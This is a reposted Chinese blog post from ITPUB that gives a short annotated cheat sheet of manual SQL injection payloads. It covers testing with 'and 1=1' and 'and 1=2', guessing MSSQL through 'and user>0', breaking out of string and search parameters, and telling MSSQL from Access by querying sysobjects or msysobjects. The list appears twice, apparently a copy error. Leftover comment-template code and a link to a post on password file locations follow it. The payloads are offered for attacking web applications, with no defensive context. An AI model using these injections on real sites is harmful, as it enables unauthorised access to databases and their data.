带注释手动注入脚本命令整理(转)[@more@] 整理了下手动注入脚本命令[带注释]:
1.判断是否有注入;and 1=1 ;and 1=2;
2.初步判断是否是mssql ;and user>0;
3.注入参数是字符’and [查询条件] and ’’=’;
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’;
5.判断数据库系统;
1.判断是否有注入;and 1=1 ;and 1=2;
2.初步判断是否是mssql ;and user>0;
3.注入参数是字符’and [查询条件] and ’’=’;
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’;
5.判断数据库系统;
CODE:
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access 来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10617542/viewspace-959564/,如需转载,请注明出处,否则将追究法律责任。
下一篇:
小黑需知 各种系统中密码文件的位置(转)
![]()
请登录后发表评论
登录
全部评论
<%=items[i].createtime%>
<%=items[i].content%> <%if(items[i].items.items.length) { %>
<%for(var j=0;j
<%}%> <%}%>
<%=items[i].items.items[j].createtime%>
<%=items[i].items.items[j].username%> 回复 <%=items[i].items.items[j].tousername%>: <%=items[i].items.items[j].content%>
还有<%=items[i].items.total-5%>条评论
) data-count=1 data-flag=true>点击查看
<%}%>
|
转载于:http://blog.itpub.net/10617542/viewspace-959564/